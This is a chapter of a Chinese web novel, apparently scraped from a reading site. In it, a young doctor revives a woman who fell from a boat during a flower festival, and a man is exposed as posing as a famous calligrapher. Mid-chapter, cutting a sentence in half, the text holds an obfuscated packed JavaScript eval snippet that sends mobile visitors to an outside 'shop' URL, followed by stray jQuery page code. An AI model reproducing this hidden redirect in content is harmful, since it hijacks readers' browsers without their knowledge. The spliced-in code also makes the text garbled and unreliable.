23. 打假
作品:《高岭之花是假毛茸茸》 “快救人——”
“有人落水了。”
有侍从打扮的人连忙跳入水中,将落水之人捞出。
荆从雪捏紧手指,神色焦急地关注着水里面的动静。
“大夫,赶紧靠岸,去请大夫。”
“小姐要是有个三长两短,我们家老爷不会放过你们。”
今日花朝节,天朗日晴,湖上泛舟的人多,而他们的位置恰好又在湖中心,离岸边还有一段距离。
人虽被善水性的侍从救了上来,却呛了水,昏死过去,一时间船上的人如同热锅上的蚂蚁,急得团团转。
也没人顾得上刚才的争吵。
遇到病人,蒲清许向来不会置之不理。
“承宁,让我们的船也靠过去,船上我方才看到有披风,帮我备上。”
“好。”萧妄临立刻吩咐下去。
画舫比游船快,不多时就追了上来。
刚一靠近,蒲清许身形灵巧,也顾不上摇晃的船身,直接跳上游船。
“我是大夫。”
“大夫?真的假的,这么年轻。”有人立马质疑。
“不管了,死马当活马医。”还有人看热闹不嫌事大。
“能救活吗?”
看着眼前熟悉的人,荆从雪惊呼:“蒲大夫?”
“你们认识?是不是你故意要害我妹妹,谁知道这是真大夫还是假大夫,我们信不过。”一紫衣女子想要上前阻拦,并开口认定是荆从雪害人。
“让开。”蒲清许一把抓住自称是落水之人妹妹的女子,将她甩在一边。
“别耽误救人。”
蒲清许的力道让紫衣女子吃痛,一旁的荆从雪连忙拉住这女子,不让打扰蒲大夫治病救人。
蒲清许将手放在鼻边试探,救得倒还算及时,还有微弱呼吸和心跳。
“荆夫子,来帮忙搭把手。”
蒲清许一腿跪地,另一腿屈膝,将落水女子放在自己屈膝的腿上,让荆从雪帮忙扶住女子的头,口部朝下,用手按压下去。
“你们这是胡闹。”
“这能救人吗?”
“这可是一条人命。”
有人在一旁冷嘲热讽
迟一步赶来的萧妄临给侍卫使了眼色,场面顿时安静下来。
众人眼睛一眨不眨地看着蒲大夫施救。
荆从雪心里也没底,今日之事不是由她引起的,却也和她脱不了关系。
调整姿势按压好一会后,还是没有动静,蒲清许已经在思索是否要用针灸刺激会阴穴。
“咳咳——”
总算是起效了,荆从雪松了一口气,不然人能救下来,场面却会难堪。
趴在腿上的女子吐出几口水,终于清醒了过来。
蒲清许将人放下,把过脉确认安全无虞后,准备站起身来。
她为救人单膝跪地了这么长时间,腿也麻了,身形晃动,随时关注状况的荆从雪正要扶蒲清许一把,比她更快的是站在一旁的萧妄临。
蒲清许借着劲站起身来,从萧妄临手中接过披风,给浑身湿透的女子盖上。
“妹妹,你可算是醒了。”刚才吵闹着的紫衣女子动作和神态略显浮夸。
从另一条船上过来的粉衣女子则是略显心虚。
刚才是她嚷着把船划过来,两只船为了转向避让,船身晃动,一时不稳,场面一度十分混乱,这才有人落了水。
“陆今雨,幸好你今日没事,你落水可不怪我,是你自己没站稳。”身着粉衣的崔玉皱着眉,看向眼前的狼狈不堪的陆今雨。
刚醒来的陆今雨脑子还有些懵,一时间没有转过弯。
“不是你是谁,要么是你,”一身紫衣的陆今霜侧身看向荆从雪:“要么就是她!”
荆从雪看着眼前胡搅蛮缠的陆今霜,气极反笑,她忙前忙后帮蒲大夫救人,怎么还把锅甩在她头上。
人善被人欺,荆从雪冷哼一声道:“你我方才就起了争执,船上那么多双眼睛盯着,不过是看不惯我,随便找个由头按我身上,你可有证据?”
陆今霜翻了个白眼:“你和我妹妹有旧怨,谁知道你安的什么心思。”
“就是,说话要讲证据,我刚上船,来没来得及靠近你,离你还有一段距离呢。”后上船的崔玉不悦看向这两姐妹。
今日好好的花朝节,遇到这群人,真是晦气。
陆今雨状态好转不少,拢了拢身上的披风,努力回想着落水前发生的一切,她附近站着的人有荆从雪陆今霜她的丫鬟和曹承允。
“混乱中,好像有人将我绊倒了,还推了我一把。”
蒲清许暗自摇了摇头,还真是一片混乱。
人虽然救下了,可天道迟迟没有降下功德。
磨磨唧唧的。
实在问不出来,蒲清许不介意略施小计,助她们一把。
“谁?谁推了我妹妹?”陆今霜的声音变高,环视着周围一圈。
荆从雪虽然不想理胡搅蛮缠的陆今霜,却还是想将事情尽快解决,弄清真相:
“各位,方才有谁看见”
崔玉也加上筹码:“若是有人提供线索,可以来领赏银。”
重赏之下,人群中有有人站出来:“我就站在后面,看见是这个穿紫色衣服的姑娘,她偷偷伸了脚,想要绊倒别人。”
“我也看见了,就是这个姐姐干得。”
周围人纷纷指责道。
陆今霜慌了神,双眼止不住颤抖:“我是想绊一下荆从雪,我可是你的姐姐,我怎么会害你呢。”
荆从雪:......
无妄之灾。
崔玉与这两姐妹相识,早就看出了陆今霜的小心思,直言:“你就是故意绊倒了你妹妹,别以为看不出你的小心思。”
陆今霜泪眼盈盈:“我没有。”
两人虽只是堂姐妹,但年龄相仿,少女心事也是一样,陆今雨自然很快想通了里面的关键。
“陆今霜,我平日里待你不薄,把你当亲姐姐一样,你竟然想要害我,咳咳——你——”陆今雨咳得撕心裂肺。
蒲清许连忙取出随身携带的银针,为陆今雨施针平复心绪。
“不宜情绪激动。”
陆今雨行了个大礼:“多谢大夫。”
曹承允松了一口气,刚才一片混乱,根本没人看见他也伸出一只手。
幸好。
陆今霜愤愤不平:“是,我是嫉妒她,凭什么她能得逸春山人青眼,而我至今也不曾见过他人。”
荆从雪神色自若,听到逸春山人几个字也面无表情。
崔玉面容有几分扭曲,随机又恢复正常。
“哦?是吗?既然落水是你们的家事,我们管不着,你们回家自己处理。但今日争端似乎都是由这位曹公子引起的吧。”崔玉将矛头直指躲在人群中的曹承允。
曹承允吓了一跳,却强装镇定,走上前来:“诸位,今日我不过是和两三亲朋好友在湖上泛舟游玩,两位姑娘莫名起了争执,在下虽同情姑娘的遭遇,却并不能将这一切强加在我身上。”
“更何况,方才她们争执时,我已经向三位姑娘解释清楚了,我与志趣相投之人引为知己,并无其他非分之想。”
装的还真像那么回事。
“你——”这话怎么能说出口,崔玉就差指着曹承允的鼻子骂了。
“快靠岸了,先让陆姑娘将湿衣换下,免得染上风寒。”蒲清许看着僵持不下的几人,提议道。
陆今雨点点头,她对今日救了她性命的蒲清许十分感激,自无不从的道理。
船上人多口杂,她也想尽快离开。
“荆夫子,不如大家坐下,好好将此事理清,若其中有什么误会,自然也一并解开。”萧妄临突然开口。
蒲清许不明所以看了一眼萧妄临,坐下来一起吃瓜?
萧妄临平日里不像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367250|199373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凑这种热闹的人,今日怎么掺和进来了。
陆今雨的情况着实需要尽快处理。
坐定后,崔玉先开口:“什么逸春山人,不过是个假货,这种货色还值得你们姐妹两争风吃醋?”
听到这话,陆今雨陆今霜两姐妹面面相觑,对视一眼,不明白崔玉在说什么:“什么假货?”
“他,曹承允,根本不是逸春山人。”崔玉也顾不得什么礼节,指着曹承允鼻子。
曹承允本想趁人不备偷偷溜走,却不想门外侍卫根本不给这个机会。
“你胡说什么?”曹承允摇头叹息:“唯女子与小人难养也,真是不辨是非,不分青红皂白,红口白牙诬蔑他人。”
“谁污蔑你了,我有证据。”崔玉拿出两幅逸春山人的字,向大家展开。
两幅字皆是笔法灵动,线条优美。
“这幅是真,而另一幅,经由曹公子之手交予我朋友的是假。”
“哦?是吗?”曹承允胸有成竹,崔玉手中这两幅字还真都是逸春山人写的。
“我看这两幅字都是真迹。”陆今霜开口。
“看似模仿得很像,这恒字却是右边少些一横。”
“不同时期写的罢了,缺笔自然是为了避讳家中父辈。”
“那这些信中的恒字却未曾避讳,又作何解释。”
曹承允:“是一远方叔父名讳,以示尊重,私下来往信件自然不必忌讳。”
崔玉:“你这是强词夺理。”
“想要证明也很简单,”萧妄临到也不嫌事大,“逸春山人以书画闻名,让人取来笔墨纸砚,曹公子现场写上一幅即可,诸位都对逸春山人的字颇有研究,自然能辨别出。”
好戏就要开场了。
“这——”曹承允故作姿态,“不是在下不愿,只是前些时日,手腕受了伤,写出来的字怕是不尽如人意。”
萧妄临:“无妨,若真是受伤,蒲大夫倒是能帮你治好。”
蒲清许点点头,收回目光时看向旁边默不作声的荆从雪,看不清她脸上的神情。
崔玉道:“你是不是心虚不敢。”
“既然几位执意要在下露一手,”曹承允自信一笑,“那就恭敬不如从命。”
“逸春山人是谁?”蒲清许听着几人频频提到逸春山人,转过头小声问萧妄临。
萧妄临被温热的气息弄得耳朵有些痒,答道:“一位书法家,字写得不错,近几年在京都声名远扬,很受追捧。”
蒲清许对字写得好的人很佩服,她见过字写得最好的人,就是荆从雪,心下不由得比较道:“这逸春山人和荆夫子比起来如何?”
萧妄临神秘一笑,“你大可自行问问你的这位夫子。”
蒲清许:好吧。
逸兴寻春□□里,高情对月酒杯间。
正是逸春山人名字的出处。
曹承允收笔后,从怀中取出一枚私印,盖在纸上。
“这可是逸春山人的印章,还不能证明吗?”曹承允颇有几分洋洋得意,此招无往而不利,他多有先见之明。
几人疑惑地看着眼前熟悉的字迹,确实像是逸春山人手书。
“等等,换一句写。”陆今雨眉头微微蹙起,“就写只愿君心似我心。”
曹承允慌了神,这两句他花了大功夫,费心费力已经模仿地九成九像,怎么还不相信。
“明知手腕受了伤,还是为难我,姑娘若不信,在下只当先前知己之言,是在下唐突了。”
荆从雪的脸色越来越阴沉。
陆今雨也不知该如何是好,她对逸春山人的字极其喜爱,自然看出这字十分熟悉,出自山人手笔,
“是我错怪曹公子了。”
崔玉也神色微变,不再言语。
他就说,这一切都是天衣无缝。
曹承允正要开口,荆从雪突然出声打断了他的话。
“曹承允确实不是逸春山人。”

